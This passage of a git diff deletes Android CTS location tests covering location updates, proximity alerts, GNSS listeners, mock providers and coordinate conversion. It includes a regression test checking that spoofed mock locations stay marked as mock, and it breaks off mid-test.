-            mManager.requestLocationUpdates(0, 0, null, listener, Looper.myLooper());
-            fail("Should throw IllegalArgumentException if param criteria is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.removeUpdates( (LocationListener) null );
-            fail("Should throw IllegalArgumentException if listener is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        unmockFusedLocation();
-    }
-
-    public void testSingleUpdateWithCriteriaAndLocationListenerAndLooper()
-            throws InterruptedException {
-        double latitude1 = 40;
-        double longitude1 = 10;
-        double latitude2 = 20;
-        double longitude2 = 30;
-        double latitude3 = 60;
-        double longitude3 = 50;
-        final MockLocationListener listener = new MockLocationListener();
-        mockFusedLocation();
-
-        // update location and notify listener
-        HandlerThread handlerThread = new HandlerThread("testLocationUpdates2");
-        handlerThread.start();
-        Criteria criteria = createLocationCriteria();
-        mManager.requestSingleUpdate(criteria, listener, handlerThread.getLooper());
-
-        updateFusedLocation(latitude1, longitude1);
-        assertTrue(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-        Location location = listener.getLocation();
-        assertEquals(FUSED_PROVIDER_NAME, location.getProvider());
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-        assertTrue(location.hasAccuracy());
-        assertEquals(1.0f, location.getAccuracy());
-        assertEquals(true, location.isFromMockProvider());
-
-        // Any further location change doesn't trigger an update.
-        updateFusedLocation(latitude2, longitude2);
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-
-        // update location without notifying listener
-        mManager.removeUpdates(listener);
-        listener.reset();
-        updateFusedLocation(latitude3, longitude3);
-        assertFalse(listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-
-        // Missing arguments throw exceptions.
-        try {
-            mManager.requestLocationUpdates(0, 0, criteria, (LocationListener) null,
-                    Looper.myLooper());
-            fail("Should throw IllegalArgumentException if param listener is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.requestLocationUpdates(0, 0, null, listener, Looper.myLooper());
-            fail("Should throw IllegalArgumentException if param criteria is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.removeUpdates( (LocationListener) null );
-            fail("Should throw IllegalArgumentException if listener is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        unmockFusedLocation();
-    }
-
-    public void testSingleUpdateWithPendingIntent() throws InterruptedException {
-        double latitude1 = 20;
-        double longitude1 = 40;
-        double latitude2 = 30;
-        double longitude2 = 50;
-        double latitude3 = 10;
-        double longitude3 = 60;
-
-        // update location and receive broadcast.
-        registerIntentReceiver();
-        mManager.requestLocationUpdates(TEST_MOCK_PROVIDER_NAME, 0, 0, mPendingIntent);
-        updateLocation(latitude1, longitude1);
-        waitForReceiveBroadcast();
-
-        assertNotNull(mIntentReceiver.getLastReceivedIntent());
-        Location location = mManager.getLastKnownLocation(TEST_MOCK_PROVIDER_NAME);
-        assertEquals(TEST_MOCK_PROVIDER_NAME, location.getProvider());
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-        assertEquals(true, location.isFromMockProvider());
-
-        // Any further location change doesn't trigger an update.
-        updateLocation(latitude2, longitude2);
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-
-        // update location without receiving broadcast.
-        mManager.removeUpdates(mPendingIntent);
-        mIntentReceiver.clearReceivedIntents();
-        updateLocation(latitude3, longitude3);
-        waitForReceiveBroadcast();
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-
-        try {
-            mManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0,
-                    (PendingIntent) null);
-            fail("Should throw IllegalArgumentException if param intent is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.requestLocationUpdates(null, 0, 0, mPendingIntent);
-            fail("Should throw IllegalArgumentException if param provider is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.removeUpdates( (PendingIntent) null );
-            fail("Should throw IllegalArgumentException if intent is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    public void testAddProximityAlert() {
-        Intent i = new Intent();
-        i.setAction("android.location.cts.TEST_GET_GPS_STATUS_ACTION");
-        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, i, PendingIntent.FLAG_ONE_SHOT);
-
-        mManager.addProximityAlert(0, 0, 1.0f, 5000, pi);
-        mManager.removeProximityAlert(pi);
-    }
-
-    @UiThreadTest
-    public void testNmeaListener() {
-        MockGnssNmeaListener gnssListener = new MockGnssNmeaListener();
-        mManager.addNmeaListener(gnssListener);
-        mManager.removeNmeaListener(gnssListener);
-
-        HandlerThread handlerThread = new HandlerThread("testNmeaListener");
-        handlerThread.start();
-        mManager.addNmeaListener(gnssListener, new Handler(handlerThread.getLooper()));
-        mManager.removeNmeaListener(gnssListener);
-
-        mManager.addNmeaListener((OnNmeaMessageListener) null);
-        mManager.removeNmeaListener((OnNmeaMessageListener) null);
-    }
-
-    public void testIsProviderEnabled() {
-        // this test assumes enabled TEST_MOCK_PROVIDER_NAME was created in setUp.
-        assertNotNull(mManager.getProvider(TEST_MOCK_PROVIDER_NAME));
-        assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
-
-        mManager.clearTestProviderEnabled(TEST_MOCK_PROVIDER_NAME);
-        //onSetEnabled in LMS is handle in thread, it's not synchronized ,
-        //need add delay here or will cause check failed
-        try {
-            Thread.sleep(100);
-        } catch (Exception e) {
-            Log.e(TAG, "fail in testIsProviderEnabled");
-        }
-        assertFalse(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
-
-        mManager.setTestProviderEnabled(TEST_MOCK_PROVIDER_NAME, true);
-        try {
-            Thread.sleep(100);
-        } catch (Exception e) {
-            Log.e(TAG, "fail in testIsProviderEnabled");
-        }
-        assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
-
-        try {
-            mManager.isProviderEnabled(null);
-            fail("Should throw IllegalArgumentException if provider is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            mManager.setTestProviderEnabled(UNKNOWN_PROVIDER_NAME, false);
-            fail("Should throw IllegalArgumentException if provider is unknown!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    public void testGetLastKnownLocation() throws InterruptedException {
-        double latitude1 = 20;
-        double longitude1 = 40;
-        double latitude2 = 10;
-        double longitude2 = 70;
-
-        registerIntentReceiver();
-        mManager.requestLocationUpdates(TEST_MOCK_PROVIDER_NAME, 0, 0, mPendingIntent);
-        updateLocation(latitude1, longitude1);
-        waitForReceiveBroadcast();
-
-        assertNotNull(mIntentReceiver.getLastReceivedIntent());
-        Location location = mManager.getLastKnownLocation(TEST_MOCK_PROVIDER_NAME);
-        assertEquals(TEST_MOCK_PROVIDER_NAME, location.getProvider());
-        assertEquals(latitude1, location.getLatitude());
-        assertEquals(longitude1, location.getLongitude());
-        assertEquals(true, location.isFromMockProvider());
-
-        mIntentReceiver.clearReceivedIntents();
-        updateLocation(latitude2, longitude2);
-        waitForReceiveBroadcast();
-
-        assertNotNull(mIntentReceiver.getLastReceivedIntent());
-        location = mManager.getLastKnownLocation(TEST_MOCK_PROVIDER_NAME);
-        assertEquals(TEST_MOCK_PROVIDER_NAME, location.getProvider());
-        assertEquals(latitude2, location.getLatitude());
-        assertEquals(longitude2, location.getLongitude());
-        assertEquals(true, location.isFromMockProvider());
-
-        try {
-            mManager.getLastKnownLocation(null);
-            fail("Should throw IllegalArgumentException if provider is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Test case for bug 33091107, where a malicious app used to be able to fool a real provider
-     * into providing a mock location that isn't marked as being mock.
-     */
-    public void testLocationShouldStillBeMarkedMockWhenProvidersDoNotMatch()
-            throws InterruptedException {
-        double latitude = 20;
-        double longitude = 40;
-
-        List<String> providers = mManager.getAllProviders();
-        if (providers.isEmpty()) {
-            // Device doesn't have any providers. Can't perform this test, and no need to do so:
-            // no providers that malicious app could fool
-            return;
-        }
-        String realProviderToFool = providers.get(0);
-
-        // Register for location updates, then set a mock location and ensure it is marked "mock"
-        updateLocationAndWait(TEST_MOCK_PROVIDER_NAME, realProviderToFool, latitude, longitude);
-    }
-
-    @UiThreadTest
-    public void testGnssStatusListener() {
-        MockGnssStatusCallback callback = new MockGnssStatusCallback();
-        mManager.registerGnssStatusCallback(callback);
-        mManager.unregisterGnssStatusCallback(callback);
-
-        mManager.registerGnssStatusCallback(null);
-        mManager.unregisterGnssStatusCallback(null);
-
-        HandlerThread handlerThread = new HandlerThread("testStatusUpdates");
-        handlerThread.start();
-
-        mManager.registerGnssStatusCallback(callback, new Handler(handlerThread.getLooper()));
-        mManager.unregisterGnssStatusCallback(callback);
-    }
-
-    /**
-     * Tests basic proximity alert when entering proximity
-     */
-    public void testEnterProximity() throws Exception {
-        if (!isSystemUser()) {
-            Log.i(TAG, "Skipping test on secondary user");
-            return;
-        }
-        // need to mock the fused location provider for proximity tests
-        mockFusedLocation();
-
-        doTestEnterProximity(10000);
-
-        unmockFusedLocation();
-    }
-
-    /**
-     * Tests proximity alert when entering proximity, with no expiration
-     */
-    public void testEnterProximity_noexpire() throws Exception {
-        if (!isSystemUser()) {
-            Log.i(TAG, "Skipping test on secondary user");
-            return;
-        }
-        // need to mock the fused location provider for proximity tests
-        mockFusedLocation();
-
-        doTestEnterProximity(-1);
-
-        unmockFusedLocation();
-    }
-
-    /**
-     * Tests basic proximity alert when exiting proximity
-     */
-    public void testExitProximity() throws Exception {
-        if (!isSystemUser()) {
-            Log.i(TAG, "Skipping test on secondary user");
-            return;
-        }
-        // need to mock the fused location provider for proximity tests
-        mockFusedLocation();
-
-        // first do enter proximity scenario
-        doTestEnterProximity(-1);
-
-        // now update to trigger exit proximity proximity
-        mIntentReceiver.clearReceivedIntents();
-        updateLocationAndWait(FUSED_PROVIDER_NAME, 20, 20);
-        waitForReceiveBroadcast();
-        assertProximityType(false);
-
-        unmockFusedLocation();
-    }
-
-    /**
-     * Tests basic proximity alert when initially within proximity
-     */
-    public void testInitiallyWithinProximity() throws Exception {
-        if (!isSystemUser()) {
-            Log.i(TAG, "Skipping test on secondary user");
-            return;
-        }
-        // need to mock the fused location provider for proximity tests
-        mockFusedLocation();
-
-        updateLocationAndWait(FUSED_PROVIDER_NAME, 0, 0);
-        registerProximityListener(0, 0, 1000, 10000);
-        waitForReceiveBroadcast();
-        assertProximityType(true);
-
-        unmockFusedLocation();
-    }
-
-    /**
-     * Helper variant for testing enter proximity scenario
-     * TODO: add additional parameters as more scenarios are added
-     *
-     * @param expiration - expiration of proximity alert
-     */
-    private void doTestEnterProximity(long expiration) throws Exception {
-        // update location to outside proximity range
-        updateLocationAndWait(FUSED_PROVIDER_NAME, 30, 30);
-        registerProximityListener(0, 0, 1000, expiration);
-
-        // Adding geofences is asynchronous, the return of LocationManager.addProximityAlert
-        // doesn't mean that geofences are already being monitored. Wait for a few milliseconds
-        // so that GeofenceManager is actively monitoring locations before we send the mock
-        // location to avoid flaky tests.
-        Thread.sleep(500);
-
-        updateLocationAndWait(FUSED_PROVIDER_NAME, 0, 0);
-        waitForReceiveBroadcast();
-        assertProximityType(true);
-    }
-
-
-    private void updateLocationAndWait(String providerName, double latitude, double longitude)
-            throws InterruptedException {
-        updateLocationAndWait(providerName, providerName, latitude, longitude);
-    }
-
-    /**
-     * Like {@link #updateLocationAndWait(String, double, double)}, but allows inconsistent providers
-     * to be used in the calls to {@link Location#Location(String)} and {@link
-     * LocationManager#setTestProviderLocation(String, Location)}
-     *
-     * @param testProviderName used in {@link LocationManager#setTestProviderLocation(String,
-     * Location)}
-     * @param locationProviderName used in {@link Location#Location(String)}
-     */
-    private void updateLocationAndWait(String testProviderName, String locationProviderName,
-        double latitude, double longitude) throws InterruptedException {
-
-        // Register a listener for the location we are about to set.
-        MockLocationListener listener = new MockLocationListener();
-        HandlerThread handlerThread = new HandlerThread("updateLocationAndWait");
-        handlerThread.start();
-        mManager.requestLocationUpdates(locationProviderName, 0, 0, listener,
-                handlerThread.getLooper());
-
-        // Set the location.
-        updateLocation(testProviderName, locationProviderName, latitude, longitude);
-
-        // Make sure we received the location, and it is the right one.
-        assertTrue("Listener not called", listener.hasCalledOnLocationChanged(TEST_TIME_OUT));
-        Location location = listener.getLocation();
-        assertEquals("Bad provider name", locationProviderName, location.getProvider());
-        assertEquals("Bad latitude", latitude, location.getLatitude());
-        assertEquals("Bad longitude", longitude, location.getLongitude());
-        assertTrue("Bad isMock", location.isFromMockProvider());
-
-        // Remove the listener.
-        mManager.removeUpdates(listener);
-    }
-
-    private void registerIntentReceiver() {
-        String intentKey = "LocationManagerTest";
-        Intent proximityIntent = new Intent(intentKey);
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 0, proximityIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
-        mIntentReceiver = new TestIntentReceiver(intentKey);
-        mContext.registerReceiver(mIntentReceiver, mIntentReceiver.getFilter());
-    }
-
-    /**
-     * Registers the proximity intent receiver
-     */
-    private void registerProximityListener(double latitude, double longitude, float radius,
-            long expiration) {
-        registerIntentReceiver();
-        mManager.addProximityAlert(latitude, longitude, radius, expiration, mPendingIntent);
-    }
-
-    /**
-     * Blocks until receive intent notification or time out.
-     *
-     * @throws InterruptedException
-     */
-    private void waitForReceiveBroadcast() throws InterruptedException {
-        synchronized (mIntentReceiver) {
-            mIntentReceiver.wait(TEST_TIME_OUT);
-        }
-    }
-
-    /**
-     * Asserts that the received intent had the enter proximity property set as
-     * expected
-     *
-     * @param expectedEnterProximity - true if enter proximity expected, false
-     *            if exit expected
-     */
-    private void assertProximityType(boolean expectedEnterProximity) throws Exception {
-        Intent intent = mIntentReceiver.getLastReceivedIntent();
-        assertNotNull("Did not receive any intent", intent);
-        boolean proximityTest = intent.getBooleanExtra(
-                LocationManager.KEY_PROXIMITY_ENTERING, !expectedEnterProximity);
-        assertEquals("proximity alert not set to expected enter proximity value",
-                expectedEnterProximity, proximityTest);
-    }
-
-    private void updateLocation(final String providerName, final double latitude,
-            final double longitude) {
-        updateLocation(providerName, providerName, latitude, longitude);
-    }
-
-    /**
-     * Like {@link #updateLocation(String, double, double)}, but allows inconsistent providers to be
-     * used in the calls to {@link Location#Location(String)} and
-     * {@link LocationManager#setTestProviderLocation(String, Location)}.
-     */
-    private void updateLocation(String testProviderName, String locationProviderName,
-        double latitude, double longitude) {
-        Location location = new Location(locationProviderName);
-        location.setLatitude(latitude);
-        location.setLongitude(longitude);
-        location.setAccuracy(1.0f);
-        location.setTime(System.currentTimeMillis());
-        location.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
-        mManager.setTestProviderLocation(testProviderName, location);
-    }
-
-    private void updateLocation(final double latitude, final double longitude) {
-        updateLocation(TEST_MOCK_PROVIDER_NAME, latitude, longitude);
-    }
-
-    private void updateFusedLocation(final double latitude, final double longitude) {
-      updateLocation(FUSED_PROVIDER_NAME, latitude, longitude);
- }
-
-    private Criteria createLocationCriteria() {
-        Criteria criteria = new Criteria();
-        criteria.setAccuracy(Criteria.ACCURACY_FINE);
-        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
-        criteria.setAltitudeRequired(false);
-        criteria.setBearingRequired(false);
-        criteria.setCostAllowed(false);
-        criteria.setSpeedRequired(false);
-        return criteria;
-     }
-
-    private void mockFusedLocation() {
-        addTestProvider(FUSED_PROVIDER_NAME);
-    }
-
-    private void unmockFusedLocation() {
-        mManager.removeTestProvider(FUSED_PROVIDER_NAME);
-    }
-
-    /**
-     * Helper class that receives a proximity intent and notifies the main class
-     * when received
-     */
-    private static class TestIntentReceiver extends BroadcastReceiver {
-        private String mExpectedAction;
-
-        private Intent mLastReceivedIntent;
-
-        public TestIntentReceiver(String expectedAction) {
-            mExpectedAction = expectedAction;
-            mLastReceivedIntent = null;
-        }
-
-        public IntentFilter getFilter() {
-            IntentFilter filter = new IntentFilter(mExpectedAction);
-            return filter;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (intent != null && mExpectedAction.equals(intent.getAction())) {
-                synchronized (this) {
-                    mLastReceivedIntent = intent;
-                    notify();
-                }
-            }
-        }
-
-        public Intent getLastReceivedIntent() {
-            return mLastReceivedIntent;
-        }
-
-        public void clearReceivedIntents() {
-            mLastReceivedIntent = null;
-        }
-    }
-
-    private static class MockLocationListener implements LocationListener {
-        private String mProvider;
-        private int mStatus;
-        private Location mLocation;
-        private Object mStatusLock = new Object();
-        private Object mLocationLock = new Object();
-        private Object mLocationRequestLock = new Object();
-
-        private boolean mHasCalledOnLocationChanged;
-
-        private boolean mHasCalledOnProviderDisabled;
-
-        private boolean mHasCalledOnProviderEnabled;
-
-        private boolean mHasCalledOnStatusChanged;
-
-        private boolean mHasCalledRequestLocation;
-
-        public void reset(){
-            mHasCalledOnLocationChanged = false;
-            mHasCalledOnProviderDisabled = false;
-            mHasCalledOnProviderEnabled = false;
-            mHasCalledOnStatusChanged = false;
-            mHasCalledRequestLocation = false;
-            mProvider = null;
-            mStatus = 0;
-        }
-
-        /**
-         * Call to inform listener that location has been updates have been requested
-         */
-        public void setLocationRequested() {
-            synchronized (mLocationRequestLock) {
-                mHasCalledRequestLocation = true;
-                mLocationRequestLock.notify();
-            }
-        }
-
-        public boolean hasCalledLocationRequested(long timeout) throws InterruptedException {
-            synchronized (mLocationRequestLock) {
-                if (timeout > 0 && !mHasCalledRequestLocation) {
-                    mLocationRequestLock.wait(timeout);
-                }
-            }
-            return mHasCalledRequestLocation;
-        }
-
-        /**
-         * Check whether onLocationChanged() has been called. Wait up to timeout milliseconds
-         * for the callback.
-         * @param timeout Maximum time to wait for the callback, 0 to return immediately.
-         */
-        public boolean hasCalledOnLocationChanged(long timeout) throws InterruptedException {
-            synchronized (mLocationLock) {
-                if (timeout > 0 && !mHasCalledOnLocationChanged) {
-                    mLocationLock.wait(timeout);
-                }
-            }
-            return mHasCalledOnLocationChanged;
-        }
-
-        public boolean hasCalledOnProviderDisabled() {
-            return mHasCalledOnProviderDisabled;
-        }
-
-        public boolean hasCalledOnProviderEnabled() {
-            return mHasCalledOnProviderEnabled;
-        }
-
-        public boolean hasCalledOnStatusChanged(long timeout) throws InterruptedException {
-            synchronized(mStatusLock) {
-                // wait(0) would wait forever
-                if (timeout > 0 && !mHasCalledOnStatusChanged) {
-                    mStatusLock.wait(timeout);
-                }
-            }
-            return mHasCalledOnStatusChanged;
-        }
-
-        public void onLocationChanged(Location location) {
-            mLocation = location;
-            synchronized (mLocationLock) {
-                mHasCalledOnLocationChanged = true;
-                mLocationLock.notify();
-            }
-        }
-
-        public void onProviderDisabled(String provider) {
-            mHasCalledOnProviderDisabled = true;
-        }
-
-        public void onProviderEnabled(String provider) {
-            mHasCalledOnProviderEnabled = true;
-        }
-
-        public void onStatusChanged(String provider, int status, Bundle extras) {
-            mProvider = provider;
-            mStatus = status;
-            synchronized (mStatusLock) {
-                mHasCalledOnStatusChanged = true;
-                mStatusLock.notify();
-            }
-        }
-
-        public String getProvider() {
-            return mProvider;
-        }
-
-        public int getStatus() {
-            return mStatus;
-        }
-
-        public Location getLocation() {
-            return mLocation;
-        }
-    }
-
-    private static class MockGnssNmeaListener implements OnNmeaMessageListener {
-        private boolean mIsNmeaReceived;
-
-        @Override
-        public void onNmeaMessage(String name, long timestamp) {
-            mIsNmeaReceived = true;
-        }
-
-        public boolean isNmeaRecevied() {
-            return mIsNmeaReceived;
-        }
-
-        public void reset() {
-            mIsNmeaReceived = false;
-        }
-    }
-
-    private static class MockGnssStatusCallback extends GnssStatus.Callback {
-        @Override
-        public void onSatelliteStatusChanged(GnssStatus status) {
-            for (int i = 0; i < status.getSatelliteCount(); ++i) {
-                status.getAzimuthDegrees(i);
-                status.getCn0DbHz(i);
-                status.getConstellationType(i);
-                status.getElevationDegrees(i);
-                status.getSvid(i);
-                status.hasAlmanacData(i);
-                status.hasEphemerisData(i);
-                status.usedInFix(i);
-            }
-        }
-    }
-
-    private boolean isSystemUser() {
-        UserManager userManager = mContext.getSystemService(UserManager.class);
-        return userManager.isSystemUser();
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/LocationProviderTest.java b/tests/tests/location/src/android/location/cts/LocationProviderTest.java
deleted file mode 100644
index 1e6feda..0000000
--- a/tests/tests/location/src/android/location/cts/LocationProviderTest.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.Criteria;
-import android.location.LocationManager;
-import android.location.LocationProvider;
-
-public class LocationProviderTest extends BaseMockLocationTest {
-    private static final String PROVIDER_NAME = "location_provider_test";
-
-    private LocationManager mLocationManager;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mLocationManager = getInstrumentation().getContext().getSystemService(
-                LocationManager.class);
-        addTestProvider(PROVIDER_NAME);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Work around b/11446702 by clearing the test provider before removing it
-        mLocationManager.clearTestProviderLocation(PROVIDER_NAME);
-        mLocationManager.removeTestProvider(PROVIDER_NAME);
-        super.tearDown();
-    }
-
-    /**
-     * Adds a test provider with the given name.
-     */
-    private void addTestProvider(String providerName) {
-        mLocationManager.addTestProvider(
-                providerName,
-                true,  // requiresNetwork,
-                false, // requiresSatellite,
-                false, // requiresCell,
-                false, // hasMonetaryCost,
-                true,  // supportsAltitude,
-                false, // supportsSpeed,
-                true,  // supportsBearing,
-                Criteria.POWER_MEDIUM,   // powerRequirement,
-                Criteria.ACCURACY_FINE); // accuracy
-        mLocationManager.setTestProviderEnabled(providerName, true);
-    }
-
-    public void testGetName() {
-        LocationProvider locationProvider = mLocationManager.getProvider(PROVIDER_NAME);
-        assertEquals(PROVIDER_NAME, locationProvider.getName());
-    }
-
-    public void testMeetsCriteria() {
-        LocationProvider locationProvider = mLocationManager.getProvider(PROVIDER_NAME);
-
-        Criteria criteria = new Criteria();
-        criteria.setAltitudeRequired(true);
-        criteria.setBearingRequired(true);
-        assertTrue(locationProvider.meetsCriteria(criteria));
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/LocationTest.java b/tests/tests/location/src/android/location/cts/LocationTest.java
deleted file mode 100644
index 71aeb05..0000000
--- a/tests/tests/location/src/android/location/cts/LocationTest.java
+++ /dev/null
@@ -1,672 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.Context;
-import android.content.Intent;
-import android.location.Location;
-import android.location.SettingInjectorService;
-import android.os.Handler;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Message;
-import android.os.Messenger;
-import android.os.Bundle;
-import android.os.Parcel;
-import android.test.AndroidTestCase;
-import android.util.Printer;
-import android.util.StringBuilderPrinter;
-
-import java.text.DecimalFormat;
-
-public class LocationTest extends AndroidTestCase {
-    private static final float DELTA = 0.1f;
-    private final float TEST_ACCURACY = 1.0f;
-    private final float TEST_VERTICAL_ACCURACY = 2.0f;
-    private final float TEST_SPEED_ACCURACY = 3.0f;
-    private final float TEST_BEARING_ACCURACY = 4.0f;
-    private final double TEST_ALTITUDE = 1.0;
-    private final double TEST_LATITUDE = 50;
-    private final float TEST_BEARING = 1.0f;
-    private final double TEST_LONGITUDE = 20;
-    private final float TEST_SPEED = 5.0f;
-    private final long TEST_TIME = 100;
-    private final String TEST_PROVIDER = "LocationProvider";
-    private final String TEST_KEY1NAME = "key1";
-    private final String TEST_KEY2NAME = "key2";
-    private final boolean TEST_KEY1VALUE = false;
-    private final byte TEST_KEY2VALUE = 10;
-
-    private static final String ENABLED_KEY = "enabled";
-    private static final String MESSENGER_KEY = "messenger";
-
-
-    public void testConstructor() {
-        new Location("LocationProvider");
-
-        Location l = createTestLocation();
-        Location location = new Location(l);
-        assertTestLocation(location);
-
-        try {
-            new Location((Location) null);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected.
-        }
-    }
-
-    public void testDump() {
-        StringBuilder sb = new StringBuilder();
-        StringBuilderPrinter printer = new StringBuilderPrinter(sb);
-        Location location = new Location("LocationProvider");
-        location.dump(printer, "");
-        assertNotNull(sb.toString());
-    }
-
-    public void testBearingTo() {
-        Location location = new Location("");
-        Location dest = new Location("");
-
-        // set the location to Beijing
-        location.setLatitude(39.9);
-        location.setLongitude(116.4);
-        // set the destination to Chengdu
-        dest.setLatitude(30.7);
-        dest.setLongitude(104.1);
-        assertEquals(-128.66, location.bearingTo(dest), DELTA);
-
-        float bearing;
-        Location zeroLocation = new Location("");
-        zeroLocation.setLatitude(0);
-        zeroLocation.setLongitude(0);
-
-        Location testLocation = new Location("");
-        testLocation.setLatitude(0);
-        testLocation.setLongitude(150);
-
-        bearing = zeroLocation.bearingTo(zeroLocation);
-        assertEquals(0.0f, bearing, DELTA);
-
-        bearing = zeroLocation.bearingTo(testLocation);
-        assertEquals(90.0f, bearing, DELTA);
-
-        testLocation.setLatitude(90);
-        testLocation.setLongitude(0);
-        bearing = zeroLocation.bearingTo(testLocation);
-        assertEquals(0.0f, bearing, DELTA);
-
-        try {
-            location.bearingTo(null);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected.
-        }
-    }
-
-    public void testConvert_CoordinateToRepresentation() {
-        DecimalFormat df = new DecimalFormat("###.#####");
-        String result;
-
-        result = Location.convert(-80.0, Location.FORMAT_DEGREES);
-        assertEquals("-" + df.format(80.0), result);
-
-        result = Location.convert(-80.085, Location.FORMAT_MINUTES);
-        assertEquals("-80:" + df.format(5.1), result);
-
-        result = Location.convert(-80, Location.FORMAT_MINUTES);
-        assertEquals("-80:" + df.format(0), result);
-
-        result = Location.convert(-80.075, Location.FORMAT_MINUTES);
-        assertEquals("-80:" + df.format(4.5), result);
-
-        result = Location.convert(-80.075, Location.FORMAT_DEGREES);
-        assertEquals("-" + df.format(80.075), result);
-
-        result = Location.convert(-80.075, Location.FORMAT_SECONDS);
-        assertEquals("-80:4:30", result);
-
-        try {
-            Location.convert(-181, Location.FORMAT_SECONDS);
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            Location.convert(181, Location.FORMAT_SECONDS);
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            Location.convert(-80.075, -1);
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-    }
-
-    public void testConvert_RepresentationToCoordinate() {
-        double result;
-
-        result = Location.convert("-80.075");
-        assertEquals(-80.075, result);
-
-        result = Location.convert("-80:05.10000");
-        assertEquals(-80.085, result);
-
-        result = Location.convert("-80:04:03.00000");
-        assertEquals(-80.0675, result);
-
-        result = Location.convert("-80:4:3");
-        assertEquals(-80.0675, result);
-
-        try {
-            Location.convert(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e){
-            // expected.
-        }
-
-        try {
-            Location.convert(":");
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e){
-            // expected.
-        }
-
-        try {
-            Location.convert("190:4:3");
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e){
-            // expected.
-        }
-
-        try {
-            Location.convert("-80:60:3");
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e){
-            // expected.
-        }
-
-        try {
-            Location.convert("-80:4:60");
-            fail("should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e){
-            // expected.
-        }
-    }
-
-    public void testDescribeContents() {
-        Location location = new Location("");
-        location.describeContents();
-    }
-
-    public void testDistanceBetween() {
-        float[] result = new float[3];
-        Location.distanceBetween(0, 0, 0, 0, result);
-        assertEquals(0.0, result[0], DELTA);
-        assertEquals(0.0, result[1], DELTA);
-        assertEquals(0.0, result[2], DELTA);
-
-        Location.distanceBetween(20, 30, -40, 140, result);
-        assertEquals(1.3094936E7, result[0], 1);
-        assertEquals(125.4538, result[1], DELTA);
-        assertEquals(93.3971, result[2], DELTA);
-
-        try {
-            Location.distanceBetween(20, 30, -40, 140, null);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-
-        try {
-            Location.distanceBetween(20, 30, -40, 140, new float[0]);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // expected.
-        }
-    }
-
-    public void testDistanceTo() {
-        float distance;
-        Location zeroLocation = new Location("");
-        zeroLocation.setLatitude(0);
-        zeroLocation.setLongitude(0);
-
-        Location testLocation = new Location("");
-        testLocation.setLatitude(30);
-        testLocation.setLongitude(50);
-
-        distance = zeroLocation.distanceTo(zeroLocation);
